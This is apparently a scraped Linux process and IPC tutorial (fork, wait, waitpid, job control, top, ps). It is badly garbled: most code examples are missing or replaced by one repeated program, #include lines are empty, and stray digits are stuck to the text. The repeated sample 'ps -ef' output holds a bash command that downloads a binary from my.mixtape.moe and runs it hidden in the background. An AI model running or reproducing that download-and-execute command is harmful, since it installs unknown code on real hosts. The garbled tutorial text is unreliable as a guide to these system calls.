Inter Process Communication (IPC) is a mechanism that involves communication of one process with another process. This usually occurs only in one system. Show
Communication can be of two types −
Following are some important terms that we need to know before proceeding further on this topic. Pipes − Communication between two related processes. The mechanism is half duplex meaning the first process communicates with the second process. To achieve a full duplex i.e., for the second process to communicate with the first process another pipe is required. FIFO − Communication between two unrelated processes. FIFO is a full duplex, meaning the first process can communicate with the second process and vice versa at the same time. Message Queues − Communication between two or more processes with full duplex capacity. The processes will communicate with each other by posting a message and retrieving it out of the queue. Once retrieved, the message is no longer available in the queue. Shared Memory − Communication between two or more processes is achieved through a shared piece of memory among all processes. The shared memory needs to be protected from each other by synchronizing access to all the processes. Semaphores − Semaphores are meant for synchronizing access to multiple processes. When one process wants to access the memory (for reading or writing), it needs to be locked (or protected) and released when the access is removed. This needs to be repeated by all the processes to secure data. Signals − Signal is a mechanism to communication between multiple processes by way of signaling. This means a source process will send a signal (recognized by number) and the destination process will handle it accordingly. Note − Almost all the programs in this tutorial are based on system calls under Linux Operating System (executed in Ubuntu). Before we go into process information, we need to know a few things, such as − What is a process? A process is a program in execution. What is a program? A program is a file containing the information of a process and how to build it during run time. When you start execution of the program, it is loaded into RAM and starts executing. Each process is identified with a unique positive integer called as process ID or simply PID (Process Identification number). The kernel usually limits the process ID to 32767, which is configurable. When the process ID reaches this limit, it is reset again, which is after the system processes range. The unused process IDs from that counter are then assigned to newly created processes. The system call getpid() returns the process ID of the calling process. #include #include pid_t getpid(void); This call returns the process ID of the calling process which is guaranteed to be unique. This call is always successful and thus no return value to indicate an error. Each process has its unique ID called process ID that is fine but who created it? How to get information about its creator? Creator process is called the parent process. Parent ID or PPID can be obtained through getppid() call. The system call getppid() returns the Parent PID of the calling process. #include #include pid_t getppid(void); This call returns the parent process ID of the calling process. This call is always successful and thus no return value to indicate an error. Let us understand this with a simple example. Following is a program to know the PID and PPID of the calling process. File name: processinfo.c
#include
#include
#include
#include
int main() {
int mypid, myppid;
printf("Program to know PID and PPID's information\n");
mypid = getpid();
myppid = getppid();
printf("My process ID is %d\n", mypid);
printf("My parent process ID is %d\n", myppid);
printf("Cross verification of pid's by executing process commands on shell\n");
system("ps -ef");
return 0;
}
On compilation and execution of the above program, following will be the output. UID PID PPID C STIME TTY TIME CMD
root 1 0 0 2017 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql 101 1 0 2017 ? 00:06:06 /usr/libexec/mysqld
--basedir = /usr
--datadir = /var/lib/mysql
--plugin-dir = /usr/lib64/mysql/plugin
--user = mysql
--log-error = /var/log/mariadb/mariadb.log
--pid-file = /run/mariadb/mariadb.pid
--socket = /var/lib/mysql/mysql.sock
2868535 96284 0 0 05:23 ? 00:00:00 bash -c download() {
flag = "false" hsize = 1
echo -e "GET /$2 HTTP/1.1\nHost:
$1\nConnection: close\n\n" |
openssl s_client -timeout -quiet
-verify_quiet -connect $1:443 2>
/dev/null | tee out | while read line do
if [[ "$flag" == "false" ]]
then
hsize = $((hsize+$(echo $line | wc -c)))
fi
if [[ "${line:1:1}" == "" ]]
then flag = "true"
fi
echo $hsize >
size done tail -c +$(cat size) out >
$2 rm size out }
( download my.mixtape.moe mhawum 2>
/dev/null chmod +x mhawum 2>
/dev/null ./mhawum >
/dev/null 2>
/dev/null )&
2868535 96910 96284 99 05:23 ? 00:47:26 ./mhawum
6118874 104116 0 3 05:25 ? 00:00:00 sh -c cd /home/cg/root/6118874;
timeout 10s javac Puppy.java
6118874 104122 104116 0 05:25 ? 00:00:00 timeout 10s javac Puppy.java
6118874 104123 104122 23 05:25 ? 00:00:00 javac Puppy.java
3787205 104169 0 0 05:25 ? 00:00:00 sh -c cd /home/cg/root/3787205;
timeout 10s main
3787205 104175 104169 0 05:25 ? 00:00:00 timeout 10s main
3787205 104176 104175 0 05:25 ? 00:00:00 main
3787205 104177 104176 0 05:25 ? 00:00:00 ps -ef
Program to know PID and PPID's information
My process ID is 104176
My parent process ID is 104175
Cross verification of pid's by executing process commands on shell
Note − The “C” library function system() executes a shell command. The arguments passed to system() are commands executed on shell. In the above program, command is “ps”, which gives process status. The complete information about all running processes and other system related information are accessible from proc file system available at /proc location. Now that we have seen how to get the basic information of process and its parent process, it is time to look into the details of process/program information. What exactly is process image? Process image is an executable file required while executing the program. This image usually contains the following sections −
Following is the pictorial representation of the process image.  Code segment is a portion of object file or program’s virtual address space that consists of executable instructions. This is usually read-only data segment and has a fixed size. Data segment is of two types.
Initialized data segment is a portion of the object file or program’s virtual address space that consists of initialized static and global variables. Un-initialized data segment is a portion of the object file or program’s virtual address space that consists of uninitialized static and global variables. Un-initialized data segment is also called BSS (Block Started by Symbol) segment. Data segment is read-write, since the values of variables could be changed during run time. This segment also has a fixed size. Stack segment is an area of memory allotted for automatic variables and function parameters. It also stores a return address while executing function calls. Stack uses LIFO (Last-In-First-Out) mechanism for storing local or automatic variables, function parameters and storing next address or return address. The return address refers to the address to return after completion of function execution. This segment size is variable as per local variables, function parameters, and function calls. This segment grows from a higher address to a lower address. Heap segment is area of memory allotted for dynamic memory storage such as for malloc() and calloc() calls. This segment size is also variable as per user allocation. This segment grows from a lower address to a higher address. Let us now check how the segments (data and bss segments) size vary with a few sample programs. Segment size is known by executing the command “size”. Initial programFile: segment_size1.c#include
int main() {
printf("Hello World\n");
return 0;
}
In the following program, an uninitialized static variable is added. This means uninitialized segment (BSS) size would increase by 4 Bytes. Note − In Linux operating system, the size of int is 4 bytes. Size of the integer data type depends on the compiler and operating system support. File: segment_size2.c#include
int main() {
static int mystaticint1;
printf("Hello World\n");
return 0;
}
In the following program, an initialized static variable is added. This means initialized segment (DATA) size would increase by 4 Bytes. File: segment_size3.c#include
int main() {
static int mystaticint1;
static int mystaticint2 = 100;
printf("Hello World\n");
return 0;
}
In the following program, an initialized global variable is added. This means initialized segment (DATA) size would increase by 4 Bytes. File: segment_size4.c#include
int myglobalint1 = 500;
int main() {
static int mystaticint1;
static int mystaticint2 = 100;
printf("Hello World\n");
return 0;
}
In the following program, an uninitialized global variable is added. This means uninitialized segment (BSS) size would increase by 4 Bytes. File: segment_size5.c#include
int myglobalint1 = 500;
int myglobalint2;
int main() {
static int mystaticint1;
static int mystaticint2 = 100;
printf("Hello World\n");
return 0;
}
Execution StepsCompilationbabukrishnam $ gcc segment_size1.c -o segment_size1 babukrishnam $ gcc segment_size2.c -o segment_size2 babukrishnam $ gcc segment_size3.c -o segment_size3 babukrishnam $ gcc segment_size4.c -o segment_size4 babukrishnam $ gcc segment_size5.c -o segment_size5 Execution/Output#include #include pid_t getppid(void);0 Till now we know that whenever we execute a program then a process is created and would be terminated after the completion of the execution. What if we need to create a process within the program and may be wanted to schedule a different task for it. Can this be achieved? Yes, obviously through process creation. Of course, after the job is done it would get terminated automatically or you can terminate it as needed. Process creation is achieved through the fork() system call. The newly created process is called the child process and the process that initiated it (or the process when execution is started) is called the parent process. After the fork() system call, now we have two processes - parent and child processes. How to differentiate them? Very simple, it is through their return values. After creation of the child process, let us see the fork() system call details. #include #include pid_t getppid(void);1 Creates the child process. After this call, there are two processes, the existing one is called the parent process and the newly created one is called the child process. The fork() system call returns either of the three values −
Let us consider a simple program. #include #include pid_t getppid(void);2 Execution StepsCompilation#include #include pid_t getppid(void);3 Execution/Output#include #include pid_t getppid(void);4 Note − Usually after fork() call, the child process and the parent process would perform different tasks. If the same task needs to be run, then for each fork() call it would run 2 power n times, where n is the number of times fork() is invoked. In the above case, fork() is called once, hence the output is printed twice (2 power 1). If fork() is called, say 3 times, then the output would be printed 8 times (2 power 3). If it is called 5 times, then it prints 32 times and so on and so forth. Having seen fork() create the child process, it is time to see the details of the parent and the child processes. File name: pids_after_fork.c#include #include pid_t getppid(void);5 Compilation and Execution Steps#include #include pid_t getppid(void);6 A process can terminate in either of the two ways −
The difference between _exit() and exit() is mainly the cleanup activity. The exit() does some cleanup before returning the control back to the kernel, while the _exit() (or _Exit()) would return the control back to the kernel immediately. Consider the following example program with exit(). File name: atexit_sample.c#include #include pid_t getppid(void);7 Compilation and Execution Steps#include #include pid_t getppid(void);8 Consider the following example program with _exit(). File name: at_exit_sample.c#include #include pid_t getppid(void);9 Compilation and Execution StepsFile name: processinfo.c
#include
#include
#include
#include
int main() {
int mypid, myppid;
printf("Program to know PID and PPID's information\n");
mypid = getpid();
myppid = getppid();
printf("My process ID is %d\n", mypid);
printf("My parent process ID is %d\n", myppid);
printf("Cross verification of pid's by executing process commands on shell\n");
system("ps -ef");
return 0;
}
0As we have seen, whenever we create a child process from a program using fork, the following happens −
What happens if the parent process finishes its task early than the child process and then quits or exits? Now who would be the parent of the child process? The parent of the child process is init process, which is the very first process initiating all the tasks. To monitor the child process execution state, to check whether the child process is running or stopped or to check the execution status, etc. the wait() system calls and its variants is used. Let us consider an example program, where the parent process does not wait for the child process, which results into init process becoming the new parent for the child process. File name: parentprocess_nowait.cFile name: processinfo.c
#include
#include
#include
#include
int main() {
int mypid, myppid;
printf("Program to know PID and PPID's information\n");
mypid = getpid();
myppid = getppid();
printf("My process ID is %d\n", mypid);
printf("My parent process ID is %d\n", myppid);
printf("Cross verification of pid's by executing process commands on shell\n");
system("ps -ef");
return 0;
}
1Compilation and Execution StepsFile name: processinfo.c
#include
#include
#include
#include
int main() {
int mypid, myppid;
printf("Program to know PID and PPID's information\n");
mypid = getpid();
myppid = getppid();
printf("My process ID is %d\n", mypid);
printf("My parent process ID is %d\n", myppid);
printf("Cross verification of pid's by executing process commands on shell\n");
system("ps -ef");
return 0;
}
2Note − Observe that the parent process PID was 94 and the child process PID was 95. After the parent process exits, the PPID of the child process changed from 94 to 1 (init process). Following are the variants of system calls to monitor the child process/es − The wait() system call would wait for one of the children to terminate and return its termination status in the buffer as explained below. File name: processinfo.c
#include
#include
#include
#include
int main() {
int mypid, myppid;
printf("Program to know PID and PPID's information\n");
mypid = getpid();
myppid = getppid();
printf("My process ID is %d\n", mypid);
printf("My parent process ID is %d\n", myppid);
printf("Cross verification of pid's by executing process commands on shell\n");
system("ps -ef");
return 0;
}
3This call returns the process ID of the terminated child on success and -1 on failure. The wait() system call suspends the execution of the current process and waits indefinitely until one of its children terminates. The termination status from the child is available in status. Let us modify the previous program, so that the parent process now waits for the child process. /* File name: parentprocess_waits.c */File name: processinfo.c
#include
#include
#include
#include
int main() {
int mypid, myppid;
printf("Program to know PID and PPID's information\n");
mypid = getpid();
myppid = getppid();
printf("My process ID is %d\n", mypid);
printf("My parent process ID is %d\n", myppid);
printf("Cross verification of pid's by executing process commands on shell\n");
system("ps -ef");
return 0;
}
4Compilation and Execution StepsFile name: processinfo.c
#include
#include
#include
#include
int main() {
int mypid, myppid;
printf("Program to know PID and PPID's information\n");
mypid = getpid();
myppid = getppid();
printf("My process ID is %d\n", mypid);
printf("My parent process ID is %d\n", myppid);
printf("Cross verification of pid's by executing process commands on shell\n");
system("ps -ef");
return 0;
}
5Note − Even though child returns the exit status of 3, why the parent process sees that as 768. The status is stored in the higher order byte, so it is stored in hexadecimal format as 0X0300, which is 768 in decimal. Normal termination is as follows Higher Order Byte (Bits 8 to 15)Lower Order Byte (Bits 0 to 7)Exit status (0 to 255)0The wait() system call has limitation such as it can only wait until the exit of the next child. If we need to wait for a specific child it is not possible using wait(), however, it is possible using waitpid() system call. The waitpid() system call would wait for specified children to terminate and return its termination status in the buffer as explained below. File name: processinfo.c
#include
#include
#include
#include
int main() {
int mypid, myppid;
printf("Program to know PID and PPID's information\n");
mypid = getpid();
myppid = getppid();
printf("My process ID is %d\n", mypid);
printf("My parent process ID is %d\n", myppid);
printf("Cross verification of pid's by executing process commands on shell\n");
system("ps -ef");
return 0;
}
6The above call returns the process ID of the terminated child on success and -1 on failure. The waitpid() system call suspends the execution of the current process and waits indefinitely until the specified children (as per pid value) terminates. The termination status from the child is available in the status. The value of pid can be either of the following −
By default, waitpid() system call waits only for the terminated children but this default behavior can be modified using the options argument. Now let us consider a program as an example, waiting for a specific process with its process id. /* Filename: waitpid_test.c */File name: processinfo.c
#include
#include
#include
#include
int main() {
int mypid, myppid;
printf("Program to know PID and PPID's information\n");
mypid = getpid();
myppid = getppid();
printf("My process ID is %d\n", mypid);
printf("My parent process ID is %d\n", myppid);
printf("Cross verification of pid's by executing process commands on shell\n");
system("ps -ef");
return 0;
}
7After compilation and execution, following is the output. File name: processinfo.c
#include
#include
#include
#include
int main() {
int mypid, myppid;
printf("Program to know PID and PPID's information\n");
mypid = getpid();
myppid = getppid();
printf("My process ID is %d\n", mypid);
printf("My parent process ID is %d\n", myppid);
printf("Cross verification of pid's by executing process commands on shell\n");
system("ps -ef");
return 0;
}
8Now, let us check for waitid() system call. This system call waits for the child process to change state. File name: processinfo.c
#include
#include
#include
#include
int main() {
int mypid, myppid;
printf("Program to know PID and PPID's information\n");
mypid = getpid();
myppid = getppid();
printf("My process ID is %d\n", mypid);
printf("My parent process ID is %d\n", myppid);
printf("Cross verification of pid's by executing process commands on shell\n");
system("ps -ef");
return 0;
}
9The above system call waits for the child process to change the state and this call suspends the current/calling process until any of its child process changes its state. The argument ‘infop’ is to record the current state of the child. This call returns immediately, if the process has already changed its state. The value of idtype can be either of the following −
This call returns 0, if it returns due to a change of the state of one of its children and WNOHANG is used. It returns –1, in case of error and sets the appropriate error number. /* Filename: waitid_test.c */UID PID PPID C STIME TTY TIME CMD
root 1 0 0 2017 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql 101 1 0 2017 ? 00:06:06 /usr/libexec/mysqld
--basedir = /usr
--datadir = /var/lib/mysql
--plugin-dir = /usr/lib64/mysql/plugin
--user = mysql
--log-error = /var/log/mariadb/mariadb.log
--pid-file = /run/mariadb/mariadb.pid
--socket = /var/lib/mysql/mysql.sock
2868535 96284 0 0 05:23 ? 00:00:00 bash -c download() {
flag = "false" hsize = 1
echo -e "GET /$2 HTTP/1.1\nHost:
$1\nConnection: close\n\n" |
openssl s_client -timeout -quiet
-verify_quiet -connect $1:443 2>
/dev/null | tee out | while read line do
if [[ "$flag" == "false" ]]
then
hsize = $((hsize+$(echo $line | wc -c)))
fi
if [[ "${line:1:1}" == "" ]]
then flag = "true"
fi
echo $hsize >
size done tail -c +$(cat size) out >
$2 rm size out }
( download my.mixtape.moe mhawum 2>
/dev/null chmod +x mhawum 2>
/dev/null ./mhawum >
/dev/null 2>
/dev/null )&
2868535 96910 96284 99 05:23 ? 00:47:26 ./mhawum
6118874 104116 0 3 05:25 ? 00:00:00 sh -c cd /home/cg/root/6118874;
timeout 10s javac Puppy.java
6118874 104122 104116 0 05:25 ? 00:00:00 timeout 10s javac Puppy.java
6118874 104123 104122 23 05:25 ? 00:00:00 javac Puppy.java
3787205 104169 0 0 05:25 ? 00:00:00 sh -c cd /home/cg/root/3787205;
timeout 10s main
3787205 104175 104169 0 05:25 ? 00:00:00 timeout 10s main
3787205 104176 104175 0 05:25 ? 00:00:00 main
3787205 104177 104176 0 05:25 ? 00:00:00 ps -ef
Program to know PID and PPID's information
My process ID is 104176
My parent process ID is 104175
Cross verification of pid's by executing process commands on shell
0After execution and compilation of the above program, following is the result. UID PID PPID C STIME TTY TIME CMD
root 1 0 0 2017 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql 101 1 0 2017 ? 00:06:06 /usr/libexec/mysqld
--basedir = /usr
--datadir = /var/lib/mysql
--plugin-dir = /usr/lib64/mysql/plugin
--user = mysql
--log-error = /var/log/mariadb/mariadb.log
--pid-file = /run/mariadb/mariadb.pid
--socket = /var/lib/mysql/mysql.sock
2868535 96284 0 0 05:23 ? 00:00:00 bash -c download() {
flag = "false" hsize = 1
echo -e "GET /$2 HTTP/1.1\nHost:
$1\nConnection: close\n\n" |
openssl s_client -timeout -quiet
-verify_quiet -connect $1:443 2>
/dev/null | tee out | while read line do
if [[ "$flag" == "false" ]]
then
hsize = $((hsize+$(echo $line | wc -c)))
fi
if [[ "${line:1:1}" == "" ]]
then flag = "true"
fi
echo $hsize >
size done tail -c +$(cat size) out >
$2 rm size out }
( download my.mixtape.moe mhawum 2>
/dev/null chmod +x mhawum 2>
/dev/null ./mhawum >
/dev/null 2>
/dev/null )&
2868535 96910 96284 99 05:23 ? 00:47:26 ./mhawum
6118874 104116 0 3 05:25 ? 00:00:00 sh -c cd /home/cg/root/6118874;
timeout 10s javac Puppy.java
6118874 104122 104116 0 05:25 ? 00:00:00 timeout 10s javac Puppy.java
6118874 104123 104122 23 05:25 ? 00:00:00 javac Puppy.java
3787205 104169 0 0 05:25 ? 00:00:00 sh -c cd /home/cg/root/3787205;
timeout 10s main
3787205 104175 104169 0 05:25 ? 00:00:00 timeout 10s main
3787205 104176 104175 0 05:25 ? 00:00:00 main
3787205 104177 104176 0 05:25 ? 00:00:00 ps -ef
Program to know PID and PPID's information
My process ID is 104176
My parent process ID is 104175
Cross verification of pid's by executing process commands on shell
1In this chapter, we will get familiar with Process Groups, Sessions and Job Control. Process Group − Process group is a collection of one or more processes. A process group constitutes of one or more processes sharing the same process group identifier (PGID). A process group ID (PGID) is of the same type (pid_t) as the process ID. A process group has a process group leader, which is the process that creates the group and whose process ID becomes the process group ID of the group. Sessions − It is a collection of various process groups. Job Control − This permits a shell user to simultaneously execute multiple commands (or jobs), one in the foreground and all remaining in the background. It is also possible to move the jobs from the foreground to the background and vice-versa. Let us understand this with the help of example program/s using shell (BASH).
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 2017 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql 101 1 0 2017 ? 00:06:06 /usr/libexec/mysqld
--basedir = /usr
--datadir = /var/lib/mysql
--plugin-dir = /usr/lib64/mysql/plugin
--user = mysql
--log-error = /var/log/mariadb/mariadb.log
--pid-file = /run/mariadb/mariadb.pid
--socket = /var/lib/mysql/mysql.sock
2868535 96284 0 0 05:23 ? 00:00:00 bash -c download() {
flag = "false" hsize = 1
echo -e "GET /$2 HTTP/1.1\nHost:
$1\nConnection: close\n\n" |
openssl s_client -timeout -quiet
-verify_quiet -connect $1:443 2>
/dev/null | tee out | while read line do
if [[ "$flag" == "false" ]]
then
hsize = $((hsize+$(echo $line | wc -c)))
fi
if [[ "${line:1:1}" == "" ]]
then flag = "true"
fi
echo $hsize >
size done tail -c +$(cat size) out >
$2 rm size out }
( download my.mixtape.moe mhawum 2>
/dev/null chmod +x mhawum 2>
/dev/null ./mhawum >
/dev/null 2>
/dev/null )&
2868535 96910 96284 99 05:23 ? 00:47:26 ./mhawum
6118874 104116 0 3 05:25 ? 00:00:00 sh -c cd /home/cg/root/6118874;
timeout 10s javac Puppy.java
6118874 104122 104116 0 05:25 ? 00:00:00 timeout 10s javac Puppy.java
6118874 104123 104122 23 05:25 ? 00:00:00 javac Puppy.java
3787205 104169 0 0 05:25 ? 00:00:00 sh -c cd /home/cg/root/3787205;
timeout 10s main
3787205 104175 104169 0 05:25 ? 00:00:00 timeout 10s main
3787205 104176 104175 0 05:25 ? 00:00:00 main
3787205 104177 104176 0 05:25 ? 00:00:00 ps -ef
Program to know PID and PPID's information
My process ID is 104176
My parent process ID is 104175
Cross verification of pid's by executing process commands on shell
2UID PID PPID C STIME TTY TIME CMD
root 1 0 0 2017 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql 101 1 0 2017 ? 00:06:06 /usr/libexec/mysqld
--basedir = /usr
--datadir = /var/lib/mysql
--plugin-dir = /usr/lib64/mysql/plugin
--user = mysql
--log-error = /var/log/mariadb/mariadb.log
--pid-file = /run/mariadb/mariadb.pid
--socket = /var/lib/mysql/mysql.sock
2868535 96284 0 0 05:23 ? 00:00:00 bash -c download() {
flag = "false" hsize = 1
echo -e "GET /$2 HTTP/1.1\nHost:
$1\nConnection: close\n\n" |
openssl s_client -timeout -quiet
-verify_quiet -connect $1:443 2>
/dev/null | tee out | while read line do
if [[ "$flag" == "false" ]]
then
hsize = $((hsize+$(echo $line | wc -c)))
fi
if [[ "${line:1:1}" == "" ]]
then flag = "true"
fi
echo $hsize >
size done tail -c +$(cat size) out >
$2 rm size out }
( download my.mixtape.moe mhawum 2>
/dev/null chmod +x mhawum 2>
/dev/null ./mhawum >
/dev/null 2>
/dev/null )&
2868535 96910 96284 99 05:23 ? 00:47:26 ./mhawum
6118874 104116 0 3 05:25 ? 00:00:00 sh -c cd /home/cg/root/6118874;
timeout 10s javac Puppy.java
6118874 104122 104116 0 05:25 ? 00:00:00 timeout 10s javac Puppy.java
6118874 104123 104122 23 05:25 ? 00:00:00 javac Puppy.java
3787205 104169 0 0 05:25 ? 00:00:00 sh -c cd /home/cg/root/3787205;
timeout 10s main
3787205 104175 104169 0 05:25 ? 00:00:00 timeout 10s main
3787205 104176 104175 0 05:25 ? 00:00:00 main
3787205 104177 104176 0 05:25 ? 00:00:00 ps -ef
Program to know PID and PPID's information
My process ID is 104176
My parent process ID is 104175
Cross verification of pid's by executing process commands on shell
3Use chmod command to give the file the execute permissions. By default, the normal file would get only read and write permissions and not execute permissions. To stop the current running process, you need to enter CTRL+Z. This gives you a job number. The job can be resumed either in the foreground or the background. If needed, to resume the job in the foreground use ‘fg’ command. If needed, to resume the job in the background, use ‘bg’ command. By using this, it would run only the last stopped process. What if you want to start other than the last stopped process? Just use the job number after fg or bg (say bg %2 or bg %3, etc). If the running job is in the background, you can run any other tasks in the foreground. To get the list of jobs, use command, jobs. It is also possible to terminate the process either with CTRL+C or kill command. You can pass the job number while using the kill command. Check the following output which demonstrates stopping the jobs, moving the jobs from the foreground to the background and vice versa, terminating the jobs, etc. UID PID PPID C STIME TTY TIME CMD
root 1 0 0 2017 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql 101 1 0 2017 ? 00:06:06 /usr/libexec/mysqld
--basedir = /usr
--datadir = /var/lib/mysql
--plugin-dir = /usr/lib64/mysql/plugin
--user = mysql
--log-error = /var/log/mariadb/mariadb.log
--pid-file = /run/mariadb/mariadb.pid
--socket = /var/lib/mysql/mysql.sock
2868535 96284 0 0 05:23 ? 00:00:00 bash -c download() {
flag = "false" hsize = 1
echo -e "GET /$2 HTTP/1.1\nHost:
$1\nConnection: close\n\n" |
openssl s_client -timeout -quiet
-verify_quiet -connect $1:443 2>
/dev/null | tee out | while read line do
if [[ "$flag" == "false" ]]
then
hsize = $((hsize+$(echo $line | wc -c)))
fi
if [[ "${line:1:1}" == "" ]]
then flag = "true"
fi
echo $hsize >
size done tail -c +$(cat size) out >
$2 rm size out }
( download my.mixtape.moe mhawum 2>
/dev/null chmod +x mhawum 2>
/dev/null ./mhawum >
/dev/null 2>
/dev/null )&
2868535 96910 96284 99 05:23 ? 00:47:26 ./mhawum
6118874 104116 0 3 05:25 ? 00:00:00 sh -c cd /home/cg/root/6118874;
timeout 10s javac Puppy.java
6118874 104122 104116 0 05:25 ? 00:00:00 timeout 10s javac Puppy.java
6118874 104123 104122 23 05:25 ? 00:00:00 javac Puppy.java
3787205 104169 0 0 05:25 ? 00:00:00 sh -c cd /home/cg/root/3787205;
timeout 10s main
3787205 104175 104169 0 05:25 ? 00:00:00 timeout 10s main
3787205 104176 104175 0 05:25 ? 00:00:00 main
3787205 104177 104176 0 05:25 ? 00:00:00 ps -ef
Program to know PID and PPID's information
My process ID is 104176
My parent process ID is 104175
Cross verification of pid's by executing process commands on shell
4The process needs certain resources such as CPU and memory to perform the tasks. Now we will look into the related commands and system calls to know the information on resource utilization and monitoring. Also there are certain limits by default for each process on the resources, and if required the limits can be enhanced to accommodate the application requirements. Following are the essential system or process resources information using commands − The top commandUID PID PPID C STIME TTY TIME CMD
root 1 0 0 2017 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql 101 1 0 2017 ? 00:06:06 /usr/libexec/mysqld
--basedir = /usr
--datadir = /var/lib/mysql
--plugin-dir = /usr/lib64/mysql/plugin
--user = mysql
--log-error = /var/log/mariadb/mariadb.log
--pid-file = /run/mariadb/mariadb.pid
--socket = /var/lib/mysql/mysql.sock
2868535 96284 0 0 05:23 ? 00:00:00 bash -c download() {
flag = "false" hsize = 1
echo -e "GET /$2 HTTP/1.1\nHost:
$1\nConnection: close\n\n" |
openssl s_client -timeout -quiet
-verify_quiet -connect $1:443 2>
/dev/null | tee out | while read line do
if [[ "$flag" == "false" ]]
then
hsize = $((hsize+$(echo $line | wc -c)))
fi
if [[ "${line:1:1}" == "" ]]
then flag = "true"
fi
echo $hsize >
size done tail -c +$(cat size) out >
$2 rm size out }
( download my.mixtape.moe mhawum 2>
/dev/null chmod +x mhawum 2>
/dev/null ./mhawum >
/dev/null 2>
/dev/null )&
2868535 96910 96284 99 05:23 ? 00:47:26 ./mhawum
6118874 104116 0 3 05:25 ? 00:00:00 sh -c cd /home/cg/root/6118874;
timeout 10s javac Puppy.java
6118874 104122 104116 0 05:25 ? 00:00:00 timeout 10s javac Puppy.java
6118874 104123 104122 23 05:25 ? 00:00:00 javac Puppy.java
3787205 104169 0 0 05:25 ? 00:00:00 sh -c cd /home/cg/root/3787205;
timeout 10s main
3787205 104175 104169 0 05:25 ? 00:00:00 timeout 10s main
3787205 104176 104175 0 05:25 ? 00:00:00 main
3787205 104177 104176 0 05:25 ? 00:00:00 ps -ef
Program to know PID and PPID's information
My process ID is 104176
My parent process ID is 104175
Cross verification of pid's by executing process commands on shell
5The top command continuously displays the usage of system resources. If any process puts the system in some kind of hang state (consuming more of CPU or Memory) it is possible to note the process information and take appropriate action (such as killing the related process). The ps commandUID PID PPID C STIME TTY TIME CMD
root 1 0 0 2017 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql 101 1 0 2017 ? 00:06:06 /usr/libexec/mysqld
--basedir = /usr
--datadir = /var/lib/mysql
--plugin-dir = /usr/lib64/mysql/plugin
--user = mysql
--log-error = /var/log/mariadb/mariadb.log
--pid-file = /run/mariadb/mariadb.pid
--socket = /var/lib/mysql/mysql.sock
2868535 96284 0 0 05:23 ? 00:00:00 bash -c download() {
flag = "false" hsize = 1
echo -e "GET /$2 HTTP/1.1\nHost:
$1\nConnection: close\n\n" |
openssl s_client -timeout -quiet
-verify_quiet -connect $1:443 2>
/dev/null | tee out | while read line do
if [[ "$flag" == "false" ]]
then
hsize = $((hsize+$(echo $line | wc -c)))
fi
if [[ "${line:1:1}" == "" ]]
then flag = "true"
fi
echo $hsize >
size done tail -c +$(cat size) out >
$2 rm size out }
( download my.mixtape.moe mhawum 2>
/dev/null chmod +x mhawum 2>
/dev/null ./mhawum >
/dev/null 2>
/dev/null )&
2868535 96910 96284 99 05:23 ? 00:47:26 ./mhawum
6118874 104116 0 3 05:25 ? 00:00:00 sh -c cd /home/cg/root/6118874;
timeout 10s javac Puppy.java
6118874 104122 104116 0 05:25 ? 00:00:00 timeout 10s javac Puppy.java
6118874 104123 104122 23 05:25 ? 00:00:00 javac Puppy.java
3787205 104169 0 0 05:25 ? 00:00:00 sh -c cd /home/cg/root/3787205;
timeout 10s main
3787205 104175 104169 0 05:25 ? 00:00:00 timeout 10s main
3787205 104176 104175 0 05:25 ? 00:00:00 main
3787205 104177 104176 0 05:25 ? 00:00:00 ps -ef
Program to know PID and PPID's information
My process ID is 104176
My parent process ID is 104175
Cross verification of pid's by executing process commands on shell
6The ps command provides information about all the running processes. This helps to monitor and control the processes. The vmstat commandUID PID PPID C STIME TTY TIME CMD
root 1 0 0 2017 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql 101 1 0 2017 ? 00:06:06 /usr/libexec/mysqld
--basedir = /usr
--datadir = /var/lib/mysql
--plugin-dir = /usr/lib64/mysql/plugin
--user = mysql
--log-error = /var/log/mariadb/mariadb.log
--pid-file = /run/mariadb/mariadb.pid
--socket = /var/lib/mysql/mysql.sock
2868535 96284 0 0 05:23 ? 00:00:00 bash -c download() {
flag = "false" hsize = 1
echo -e "GET /$2 HTTP/1.1\nHost:
$1\nConnection: close\n\n" |
openssl s_client -timeout -quiet
-verify_quiet -connect $1:443 2>
/dev/null | tee out | while read line do
if [[ "$flag" == "false" ]]
then
hsize = $((hsize+$(echo $line | wc -c)))
fi
if [[ "${line:1:1}" == "" ]]
then flag = "true"
fi
echo $hsize >
size done tail -c +$(cat size) out >
$2 rm size out }
( download my.mixtape.moe mhawum 2>
/dev/null chmod +x mhawum 2>
/dev/null ./mhawum >
/dev/null 2>
/dev/null )&
2868535 96910 96284 99 05:23 ? 00:47:26 ./mhawum
6118874 104116 0 3 05:25 ? 00:00:00 sh -c cd /home/cg/root/6118874;
timeout 10s javac Puppy.java
6118874 104122 104116 0 05:25 ? 00:00:00 timeout 10s javac Puppy.java
6118874 104123 104122 23 05:25 ? 00:00:00 javac Puppy.java
3787205 104169 0 0 05:25 ? 00:00:00 sh -c cd /home/cg/root/3787205;
timeout 10s main
3787205 104175 104169 0 05:25 ? 00:00:00 timeout 10s main
3787205 104176 104175 0 05:25 ? 00:00:00 main
3787205 104177 104176 0 05:25 ? 00:00:00 ps -ef
Program to know PID and PPID's information
My process ID is 104176
My parent process ID is 104175
Cross verification of pid's by executing process commands on shell
7The vmstat command reports the statistics of virtual memory subsystem. It reports the information of processes (waiting to run, sleeping, runnable processes, etc.), memory (virtual memory information such as free, used, etc.), swap area, IO devices, system information (number of interrupts, context switches) and CPU (user, system and idle time). The lsof commandUID PID PPID C STIME TTY TIME CMD
root 1 0 0 2017 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql 101 1 0 2017 ? 00:06:06 /usr/libexec/mysqld
--basedir = /usr
--datadir = /var/lib/mysql
--plugin-dir = /usr/lib64/mysql/plugin
--user = mysql
--log-error = /var/log/mariadb/mariadb.log
--pid-file = /run/mariadb/mariadb.pid
--socket = /var/lib/mysql/mysql.sock
2868535 96284 0 0 05:23 ? 00:00:00 bash -c download() {
flag = "false" hsize = 1
echo -e "GET /$2 HTTP/1.1\nHost:
